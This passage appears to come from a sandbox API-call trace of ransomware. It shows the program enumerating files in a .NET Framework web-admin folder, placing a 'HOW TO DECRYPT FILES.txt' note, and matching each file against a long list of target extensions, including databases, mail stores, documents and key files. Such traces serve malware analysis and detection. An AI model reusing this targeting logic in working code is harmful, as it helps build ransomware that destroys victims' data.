ftLastAccessTime.dwHighDateTime=0x1d2e675, ftLastWriteTime.dwLowDateTime=0x248b4900, ftLastWriteTime.dwHighDateTime=0x1cac5de, nFileSizeHigh=0x0, nFileSizeLow=0xfec, dwReserved0=0x45004c, dwReserved1=0x2e0053, cFileName="WebAdminHelp_Internals.aspx", cAlternateFileName="WEBADM~3.ASP")) returned 1 [0137.340] PeekMessageA (in: lpMsg=0x18f784, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f784) returned 0 [0137.341] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\ASP.NETWebAdminFiles\\" | out: lpString1="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\ASP.NETWebAdminFiles\\") returned="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\ASP.NETWebAdminFiles\\" [0137.341] PathAddBackslashA (in: pszPath="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\ASP.NETWebAdminFiles\\" | out: pszPath="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\ASP.NETWebAdminFiles\\") returned="" [0137.341] lstrcatA (in: lpString1="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\ASP.NETWebAdminFiles\\", lpString2="HOW TO DECRYPT FILES.txt" | out: lpString1="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\ASP.NETWebAdminFiles\\HOW TO DECRYPT FILES.txt") returned="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\ASP.NETWebAdminFiles\\HOW TO DECRYPT FILES.txt" [0137.341] GetFileAttributesA (lpFileName="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\ASP.NETWebAdminFiles\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\windows\\microsoft.net\\framework\\v4.0.30319\\asp.netwebadminfiles\\how to decrypt files.txt")) returned 0x20 [0137.341] lstrcatA (in: lpString1="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\ASP.NETWebAdminFiles\\", lpString2="WebAdminHelp_Internals.aspx" | out: lpString1="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\ASP.NETWebAdminFiles\\WebAdminHelp_Internals.aspx") returned="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\ASP.NETWebAdminFiles\\WebAdminHelp_Internals.aspx" [0137.341] PathMatchSpecA (pszFile="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\ASP.NETWebAdminFiles\\WebAdminHelp_Internals.aspx", pszSpec="*.ems") returned 0 [0137.341] lstrlenA (lpString="*.ems") returned 5 [0137.341] PathMatchSpecA (pszFile="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\ASP.NETWebAdminFiles\\WebAdminHelp_Internals.aspx", pszSpec="*.db") returned 0 [0137.341] lstrlenA (lpString="*.db") returned 4 [0137.341] PathMatchSpecA (pszFile="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\ASP.NETWebAdminFiles\\WebAdminHelp_Internals.aspx", pszSpec="*.dbf") returned 0 [0137.341] lstrlenA (lpString="*.dbf") returned 5 [0137.341] PathMatchSpecA (pszFile="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\ASP.NETWebAdminFiles\\WebAdminHelp_Internals.aspx", pszSpec="*.myox") returned 0 [0137.341] lstrlenA (lpString="*.myox") returned 6 [0137.341] PathMatchSpecA (pszFile="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\ASP.NETWebAdminFiles\\WebAdminHelp_Internals.aspx", pszSpec="*.myo") returned 0 [0137.341] lstrlenA (lpString="*.myo") returned 5 [0137.341] PathMatchSpecA (pszFile="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\ASP.NETWebAdminFiles\\WebAdminHelp_Internals.aspx", pszSpec="*.qbw") returned 0 [0137.341] lstrlenA (lpString="*.qbw") returned 5 [0137.341] PathMatchSpecA (pszFile="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\ASP.NETWebAdminFiles\\WebAdminHelp_Internals.aspx", pszSpec="*.qbb") returned 0 [0137.341] lstrlenA (lpString="*.qbb") returned 5 [0137.341] PathMatchSpecA (pszFile="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\ASP.NETWebAdminFiles\\WebAdminHelp_Internals.aspx", pszSpec="*.qbm") returned 0 [0137.341] lstrlenA (lpString="*.qbm") returned 5 [0137.341] PathMatchSpecA (pszFile="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\ASP.NETWebAdminFiles\\WebAdminHelp_Internals.aspx", pszSpec="*.qbo") returned 0 [0137.341] lstrlenA (lpString="*.qbo") returned 5 [0137.341] PathMatchSpecA (pszFile="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\ASP.NETWebAdminFiles\\WebAdminHelp_Internals.aspx", pszSpec="*.qbx") returned 0 [0137.342] lstrlenA (lpString="*.qbx") returned 5 [0137.342] PathMatchSpecA (pszFile="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\ASP.NETWebAdminFiles\\WebAdminHelp_Internals.aspx", pszSpec="*.qba") returned 0 [0137.342] lstrlenA (lpString="*.qba") returned 5 [0137.342] PathMatchSpecA (pszFile="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\ASP.NETWebAdminFiles\\WebAdminHelp_Internals.aspx", pszSpec="*.qby") returned 0 [0137.342] lstrlenA (lpString="*.qby") returned 5 [0137.342] PathMatchSpecA (pszFile="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\ASP.NETWebAdminFiles\\WebAdminHelp_Internals.aspx", pszSpec="*.qbj") returned 0 [0137.342] lstrlenA (lpString="*.qbj") returned 5 [0137.342] PathMatchSpecA (pszFile="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\ASP.NETWebAdminFiles\\WebAdminHelp_Internals.aspx", pszSpec="*.ofx") returned 0 [0137.342] lstrlenA (lpString="*.ofx") returned 5 [0137.342] PathMatchSpecA (pszFile="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\ASP.NETWebAdminFiles\\WebAdminHelp_Internals.aspx", pszSpec="*.qif") returned 0 [0137.342] lstrlenA (lpString="*.qif") returned 5 [0137.342] PathMatchSpecA (pszFile="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\ASP.NETWebAdminFiles\\WebAdminHelp_Internals.aspx", pszSpec="*.mye") returned 0 [0137.342] lstrlenA (lpString="*.mye") returned 5 [0137.342] PathMatchSpecA (pszFile="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\ASP.NETWebAdminFiles\\WebAdminHelp_Internals.aspx", pszSpec="*.mbox") returned 0 [0137.342] lstrlenA (lpString="*.mbox") returned 6 [0137.342] PathMatchSpecA (pszFile="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\ASP.NETWebAdminFiles\\WebAdminHelp_Internals.aspx", pszSpec="*.eml") returned 0 [0137.342] lstrlenA (lpString="*.eml") returned 5 [0137.342] PathMatchSpecA (pszFile="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\ASP.NETWebAdminFiles\\WebAdminHelp_Internals.aspx", pszSpec="*.pst") returned 0 [0137.342] lstrlenA (lpString="*.pst") returned 5 [0137.342] PathMatchSpecA (pszFile="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\ASP.NETWebAdminFiles\\WebAdminHelp_Internals.aspx", pszSpec="*.ost") returned 0 [0137.342] lstrlenA (lpString="*.ost") returned 5 [0137.342] PathMatchSpecA (pszFile="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\ASP.NETWebAdminFiles\\WebAdminHelp_Internals.aspx", pszSpec="*.idx") returned 0 [0137.342] lstrlenA (lpString="*.idx") returned 5 [0137.342] PathMatchSpecA (pszFile="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\ASP.NETWebAdminFiles\\WebAdminHelp_Internals.aspx", pszSpec="*.dbx") returned 0 [0137.342] lstrlenA (lpString="*.dbx") returned 5 [0137.342] PathMatchSpecA (pszFile="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\ASP.NETWebAdminFiles\\WebAdminHelp_Internals.aspx", pszSpec="*.sql") returned 0 [0137.342] lstrlenA (lpString="*.sql") returned 5 [0137.343] PathMatchSpecA (pszFile="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\ASP.NETWebAdminFiles\\WebAdminHelp_Internals.aspx", pszSpec="*.mdb") returned 0 [0137.343] lstrlenA (lpString="*.mdb") returned 5 [0137.343] PathMatchSpecA (pszFile="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\ASP.NETWebAdminFiles\\WebAdminHelp_Internals.aspx", pszSpec="*.fdb") returned 0 [0137.343] lstrlenA (lpString="*.fdb") returned 5 [0137.343] PathMatchSpecA (pszFile="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\ASP.NETWebAdminFiles\\WebAdminHelp_Internals.aspx", pszSpec="*.wab") returned 0 [0137.343] lstrlenA (lpString="*.wab") returned 5 [0137.343] PathMatchSpecA (pszFile="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\ASP.NETWebAdminFiles\\WebAdminHelp_Internals.aspx", pszSpec="*.dat") returned 0 [0137.343] lstrlenA (lpString="*.dat") returned 5 [0137.343] PathMatchSpecA (pszFile="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\ASP.NETWebAdminFiles\\WebAdminHelp_Internals.aspx", pszSpec="*.txt") returned 0 [0137.343] lstrlenA (lpString="*.txt") returned 5 [0137.343] PathMatchSpecA (pszFile="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\ASP.NETWebAdminFiles\\WebAdminHelp_Internals.aspx", pszSpec="*.jpeg") returned 0 [0137.343] lstrlenA (lpString="*.jpeg") returned 6 [0137.343] PathMatchSpecA (pszFile="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\ASP.NETWebAdminFiles\\WebAdminHelp_Internals.aspx", pszSpec="*.jpg") returned 0 [0137.343] lstrlenA (lpString="*.jpg") returned 5 [0137.343] PathMatchSpecA (pszFile="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\ASP.NETWebAdminFiles\\WebAdminHelp_Internals.aspx", pszSpec="*.png") returned 0 [0137.343] lstrlenA (lpString="*.png") returned 5 [0137.343] PathMatchSpecA (pszFile="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\ASP.NETWebAdminFiles\\WebAdminHelp_Internals.aspx", pszSpec="*.php") returned 0 [0137.343] lstrlenA (lpString="*.php") returned 5 [0137.343] PathMatchSpecA (pszFile="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\ASP.NETWebAdminFiles\\WebAdminHelp_Internals.aspx", pszSpec="*.cs") returned 0 [0137.343] lstrlenA (lpString="*.cs") returned 4 [0137.343] PathMatchSpecA (pszFile="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\ASP.NETWebAdminFiles\\WebAdminHelp_Internals.aspx", pszSpec="*.cpp") returned 0 [0137.343] lstrlenA (lpString="*.cpp") returned 5 [0137.343] PathMatchSpecA (pszFile="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\ASP.NETWebAdminFiles\\WebAdminHelp_Internals.aspx", pszSpec="*.rar") returned 0 [0137.343] lstrlenA (lpString="*.rar") returned 5 [0137.344] PathMatchSpecA (pszFile="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\ASP.NETWebAdminFiles\\WebAdminHelp_Internals.aspx", pszSpec="*.zip") returned 0 [0137.344] lstrlenA (lpString="*.zip") returned 5 [0137.344] PathMatchSpecA (pszFile="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\ASP.NETWebAdminFiles\\WebAdminHelp_Internals.aspx", pszSpec="*.html") returned 0 [0137.344] lstrlenA (lpString="*.html") returned 6 [0137.344] PathMatchSpecA (pszFile="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\ASP.NETWebAdminFiles\\WebAdminHelp_Internals.aspx", pszSpec="*.htm") returned 0 [0137.344] lstrlenA (lpString="*.htm") returned 5 [0137.344] PathMatchSpecA (pszFile="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\ASP.NETWebAdminFiles\\WebAdminHelp_Internals.aspx", pszSpec="*.xlsx") returned 0 [0137.344] lstrlenA (lpString="*.xlsx") returned 6 [0137.344] PathMatchSpecA (pszFile="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\ASP.NETWebAdminFiles\\WebAdminHelp_Internals.aspx", pszSpec="*.xls") returned 0 [0137.344] lstrlenA (lpString="*.xls") returned 5 [0137.344] PathMatchSpecA (pszFile="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\ASP.NETWebAdminFiles\\WebAdminHelp_Internals.aspx", pszSpec="*.mp4") returned 0 [0137.344] lstrlenA (lpString="*.mp4") returned 5 [0137.344] PathMatchSpecA (pszFile="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\ASP.NETWebAdminFiles\\WebAdminHelp_Internals.aspx", pszSpec="*.ppt") returned 0 [0137.344] lstrlenA (lpString="*.ppt") returned 5 [0137.344] PathMatchSpecA (pszFile="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\ASP.NETWebAdminFiles\\WebAdminHelp_Internals.aspx", pszSpec="*.pptx") returned 0 [0137.344] lstrlenA (lpString="*.pptx") returned 6 [0137.344] PathMatchSpecA (pszFile="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\ASP.NETWebAdminFiles\\WebAdminHelp_Internals.aspx", pszSpec="*.doc") returned 0 [0137.344] lstrlenA (lpString="*.doc") returned 5 [0137.344] PathMatchSpecA (pszFile="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\ASP.NETWebAdminFiles\\WebAdminHelp_Internals.aspx", pszSpec="*.dot") returned 0 [0137.344] lstrlenA (lpString="*.dot") returned 5 [0137.344] PathMatchSpecA (pszFile="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\ASP.NETWebAdminFiles\\WebAdminHelp_Internals.aspx", pszSpec="*.docx") returned 0 [0137.345] lstrlenA (lpString="*.docx") returned 6 [0137.345] PathMatchSpecA (pszFile="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\ASP.NETWebAdminFiles\\WebAdminHelp_Internals.aspx", pszSpec="*.7z") returned 0 [0137.345] lstrlenA (lpString="*.7z") returned 4 [0137.345] PathMatchSpecA (pszFile="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\ASP.NETWebAdminFiles\\WebAdminHelp_Internals.aspx", pszSpec="*.tar") returned 0 [0137.345] lstrlenA (lpString="*.tar") returned 5 [0137.345] PathMatchSpecA (pszFile="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\ASP.NETWebAdminFiles\\WebAdminHelp_Internals.aspx", pszSpec="*.bz2") returned 0 [0137.345] lstrlenA (lpString="*.bz2") returned 5 [0137.345] PathMatchSpecA (pszFile="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\ASP.NETWebAdminFiles\\WebAdminHelp_Internals.aspx", pszSpec="*.gz") returned 0 [0137.345] lstrlenA (lpString="*.gz") returned 4 [0137.345] PathMatchSpecA (pszFile="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\ASP.NETWebAdminFiles\\WebAdminHelp_Internals.aspx", pszSpec="*.mkv") returned 0 [0137.345] lstrlenA (lpString="*.mkv") returned 5 [0137.345] PathMatchSpecA (pszFile="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\ASP.NETWebAdminFiles\\WebAdminHelp_Internals.aspx", pszSpec="*.eml") returned 0 [0137.345] lstrlenA (lpString="*.eml") returned 5 [0137.345] PathMatchSpecA (pszFile="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\ASP.NETWebAdminFiles\\WebAdminHelp_Internals.aspx", pszSpec="*.msg") returned 0 [0137.345] lstrlenA (lpString="*.msg") returned 5 [0137.345] PathMatchSpecA (pszFile="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\ASP.NETWebAdminFiles\\WebAdminHelp_Internals.aspx", pszSpec="*.edb") returned 0 [0137.345] lstrlenA (lpString="*.edb") returned 5 [0137.345] PathMatchSpecA (pszFile="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\ASP.NETWebAdminFiles\\WebAdminHelp_Internals.aspx", pszSpec="*.accdb") returned 0 [0137.345] lstrlenA (lpString="*.accdb") returned 7 [0137.345] PathMatchSpecA (pszFile="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\ASP.NETWebAdminFiles\\WebAdminHelp_Internals.aspx", pszSpec="*.odb") returned 0 [0137.345] lstrlenA (lpString="*.odb") returned 5 [0137.345] PathMatchSpecA (pszFile="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\ASP.NETWebAdminFiles\\WebAdminHelp_Internals.aspx", pszSpec="*.java") returned 0 [0137.345] lstrlenA (lpString="*.java") returned 6 [0137.345] PathMatchSpecA (pszFile="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\ASP.NETWebAdminFiles\\WebAdminHelp_Internals.aspx", pszSpec="*.asm") returned 0 [0137.345] lstrlenA (lpString="*.asm") returned 5 [0137.345] PathMatchSpecA (pszFile="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\ASP.NETWebAdminFiles\\WebAdminHelp_Internals.aspx", pszSpec="*.pfx") returned 0 [0137.345] lstrlenA (lpString="*.pfx") returned 5 [0137.345] PathMatchSpecA (pszFile="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\ASP.NETWebAdminFiles\\WebAdminHelp_Internals.aspx", pszSpec="*.pem") returned 0 [0137.346] lstrlenA (lpString="*.pem") returned 5 [0137.346] PathMatchSpecA (pszFile="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\ASP.NETWebAdminFiles\\WebAdminHelp_Internals.aspx", pszSpec="*.p12") returned 0 [0137.346] lstrlenA (lpString="*.p12") returned 5 [0137.346] PathMatchSpecA (pszFile="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\ASP.NETWebAdminFiles\\WebAdminHelp_Internals.aspx", pszSpec="*.gpg") returned 0 [0137.346] lstrlenA (lpString="*.gpg") returned 5 [0137.346] PathMatchSpecA (pszFile="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\ASP.NETWebAdminFiles\\WebAdminHelp_Internals.aspx", pszSpec="*.vsd") returned 0 [0137.346] lstrlenA (lpString="*.vsd") returned 5 [0137.346] PathMatchSpecA (pszFile="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\ASP.NETWebAdminFiles\\WebAdminHelp_Internals.aspx", pszSpec="*.odg") returned 0 [0137.346] lstrlenA (lpString="*.odg") returned 5 [0137.346] PathMatchSpecA (pszFile="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\ASP.NETWebAdminFiles\\WebAdminHelp_Internals.aspx", pszSpec="*.raw") returned 0 [0137.346] lstrlenA (lpString="*.raw") returned 5 [0137.346] PathMatchSpecA (pszFile="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\ASP.NETWebAdminFiles\\WebAdminHelp_Internals.aspx", pszSpec="*.nef") returned 0 [0137.346] lstrlenA (lpString="*.nef") returned 5 [0137.346] PathMatchSpecA (pszFile="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\ASP.NETWebAdminFiles\\WebAdminHelp_Internals.aspx", pszSpec="*.svg") returned 0 [0137.346] lstrlenA (lpString="*.svg") returned 5 [0137.346] PathMatchSpecA (pszFile="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\ASP.NETWebAdminFiles\\WebAdminHelp_Internals.aspx", pszSpec="*.psd") returned 0 [0137.346] lstrlenA (lpString="*.psd") returned 5 [0137.346] PathMatchSpecA (pszFile="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\ASP.NETWebAdminFiles\\WebAdminHelp_Internals.aspx", pszSpec="*.vmx") returned 0 [0137.346] lstrlenA (lpString="*.vmx") returned 5 [0137.346] PathMatchSpecA (pszFile="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\ASP.NETWebAdminFiles\\WebAdminHelp_Internals.aspx", pszSpec="*.vmdk") returned 0 [0137.346] lstrlenA (lpString="*.vmdk") returned 6 [0137.346] PathMatchSpecA (pszFile="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\ASP.NETWebAdminFiles\\WebAdminHelp_Internals.aspx", pszSpec="*.vdi") returned 0 [0137.346] lstrlenA (lpString="*.vdi") returned 5 [0137.346] PathMatchSpecA (pszFile="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\ASP.NETWebAdminFiles\\WebAdminHelp_Internals.aspx", pszSpec="*.lay6") returned 0 [0137.346] lstrlenA (lpString="*.lay6") returned 6 [0137.346] PathMatchSpecA (pszFile="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\ASP.NETWebAdminFiles\\WebAdminHelp_Internals.aspx", pszSpec="*.mpeg") returned 0 [0137.346] lstrlenA (lpString="*.mpeg") returned 6 [0137.346] PathMatchSpecA (pszFile="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\ASP.NETWebAdminFiles\\WebAdminHelp_Internals.aspx", pszSpec="*.djvu") returned 0 [0137.346] lstrlenA (lpString="*.djvu") returned 6 [0137.347] PathMatchSpecA (pszFile="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\ASP.NETWebAdminFiles\\WebAdminHelp_Internals.aspx", pszSpec="*.tiff") returned 0 [0137.347] lstrlenA (lpString="*.tiff") returned 6 [0137.347] PathMatchSpecA (pszFile="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\ASP.NETWebAdminFiles\\WebAdminHelp_Internals.aspx", pszSpec="*.backup") returned 0 [0137.347] lstrlenA (lpString="*.backup") returned 8 [0137.347] PathMatchSpecA (pszFile="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\ASP.NETWebAdminFiles\\WebAdminHelp_Internals.aspx", pszSpec="*.pdf") returned 0 [0137.347] lstrlenA (lpString="*.pdf") returned 5 [0137.347] PathMatchSpecA (pszFile="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\ASP.NETWebAdminFiles\\WebAdminHelp_Internals.aspx", pszSpec="*.cert") returned 0 [0137.347] lstrlenA (lpString="*.cert") returned 6 [0137.347] PathMatchSpecA (pszFile="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\ASP.NETWebAdminFiles\\WebAdminHelp_Internals.aspx", pszSpec="*.docm") returned 0 [0137.347] lstrlenA (lpString="*.docm") returned 6 [0137.347] PathMatchSpecA (pszFile="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\ASP.NETWebAdminFiles\\WebAdminHelp_Internals.aspx", pszSpec="*.xlsm") returned 0 [0137.347] lstrlenA (lpString="*.xlsm") returned 6 [0137.347] PathMatchSpecA (pszFile="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\ASP.NETWebAdminFiles\\WebAdminHelp_Internals.aspx", pszSpec="*.dwg") returned 0 [0137.347] lstrlenA (lpString="*.dwg") returned 5 [0137.347] PathMatchSpecA (pszFile="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\ASP.NETWebAdminFiles\\WebAdminHelp_Internals.aspx", pszSpec="*.nd") returned 0 [0137.347] lstrlenA (lpString="*.nd") returned 4 [0137.347] PathMatchSpecA (pszFile="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\ASP.NETWebAdminFiles\\WebAdminHelp_Internals.aspx", pszSpec="*.tlg") returned 0 [0137.347] lstrlenA (lpString="*.tlg") returned 5 [0137.347] PathMatchSpecA (pszFile="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\ASP.NETWebAdminFiles\\WebAdminHelp_Internals.aspx", pszSpec="*.lgb") returned 0 [0137.347] lstrlenA (lpString="*.lgb") returned 5 [0137.347] PathMatchSpecA (pszFile="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\ASP.NETWebAdminFiles\\WebAdminHelp_Internals.aspx", pszSpec="*.mov") returned 0 [0137.347] lstrlenA (lpString="*.mov") returned 5 [0137.347] PathMatchSpecA (pszFile="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\ASP.NETWebAdminFiles\\WebAdminHelp_Internals.aspx", pszSpec="*.xdw") returned 0 [0137.347] lstrlenA (lpString="*.xdw") returned 5 [0137.347] PathMatchSpecA (pszFile="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\ASP.NETWebAdminFiles\\WebAdminHelp_Internals.aspx", pszSpec="*.ods") returned 0 [0137.347] lstrlenA (lpString="*.ods") returned 5 [0137.347] PathMatchSpecA (pszFile="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\ASP.NETWebAdminFiles\\WebAdminHelp_Internals.aspx", pszSpec="*.wav") returned 0 [0137.347] lstrlenA (lpString="*.wav") returned 5 [0137.347] PathMatchSpecA (pszFile="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\ASP.NETWebAdminFiles\\WebAdminHelp_Internals.aspx", pszSpec="*.mp3") returned 0 [0137.347] lstrlenA (lpString="*.mp3") returned 5 [0137.348] PathMatchSpecA (pszFile="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\ASP.NETWebAdminFiles\\WebAdminHelp_Internals.aspx", pszSpec="*.aiff") returned 0 [0137.348] lstrlenA (lpString="*.aiff") returned 6 [0137.348] PathMatchSpecA (pszFile="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\ASP.NETWebAdminFiles\\WebAdminHelp_Internals.aspx", pszSpec="*.flac") returned 0 [0137.348] lstrlenA (lpString="*.flac") returned 6 [0137.348] PathMatchSpecA (pszFile="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\ASP.NETWebAdminFiles\\WebAdminHelp_Internals.aspx", pszSpec="*.m4a") returned 0 [0137.348] lstrlenA (lpString="*.m4a") returned 5 [0137.348] PathMatchSpecA (pszFile="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\ASP.NETWebAdminFiles\\WebAdminHelp_Internals.aspx", pszSpec="*.csv") returned 0 [0137.348] lstrlenA (lpString="*.csv") returned 5 [0137.348] FindNextFileA (in: hFindFile=0x502518, lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x248b4900, ftCreationTime.dwHighDateTime=0x1cac5de, ftLastAccessTime.dwLowDateTime=0x9f2d9360, ftLastAccessTime.dwHighDateTime=0x1d2e675, ftLastWriteTime.dwLowDateTime=0x248b4900, ftLastWriteTime.dwHighDateTime=0x1cac5de, nFileSizeHigh=0x0, nFileSizeLow=0x1a2d, dwReserved0=0x45004c, dwReserved1=0x2e0053, cFileName="WebAdminHelp_Provider.aspx", cAlternateFileName="WEBADM~4.ASP")) returned 1 [0137.348] PeekMessageA (in: lpMsg=0x18f784, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f784) returned 0 [0137.348] PathFindFileNameA (pszPath="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\ASP.NETWebAdminFiles\\WebAdminHelp_Internals.aspx") returned="WebAdminHelp_Internals.aspx" [0137.348] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\ASP.NETWebAdminFiles\\" | out: lpString1="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\ASP.NETWebAdminFiles\\") returned="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\ASP.NETWebAdminFiles\\" [0137.348] PathAddBackslashA (in: pszPath="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\ASP.NETWebAdminFiles\\" | out: pszPath="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\ASP.NETWebAdminFiles\\") returned="" [0137.348] lstrcatA (in: lpString1="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\ASP.NETWebAdminFiles\\", lpString2="HOW TO DECRYPT FILES.txt" | out: lpString1="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\ASP.NETWebAdminFiles\\HOW TO DECRYPT FILES.txt") returned="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\ASP.NETWebAdminFiles\\HOW TO DECRYPT FILES.txt" [0137.348] GetFileAttributesA (lpFileName="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\ASP.NETWebAdminFiles\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\windows\\microsoft.net\\framework\\v4.0.30319\\asp.netwebadminfiles\\how to decrypt files.txt")) returned 0x20 [0137.348] lstrcatA (in: lpString1="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\ASP.NETWebAdminFiles\\", lpString2="WebAdminHelp_Provider.aspx" | out: lpString1="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\ASP.NETWebAdminFiles\\WebAdminHelp_Provider.aspx") returned="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\ASP.NETWebAdminFiles\\WebAdminHelp_Provider.aspx" [0137.348] PathMatchSpecA (pszFile="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\ASP.NETWebAdminFiles\\WebAdminHelp_Provider.aspx", 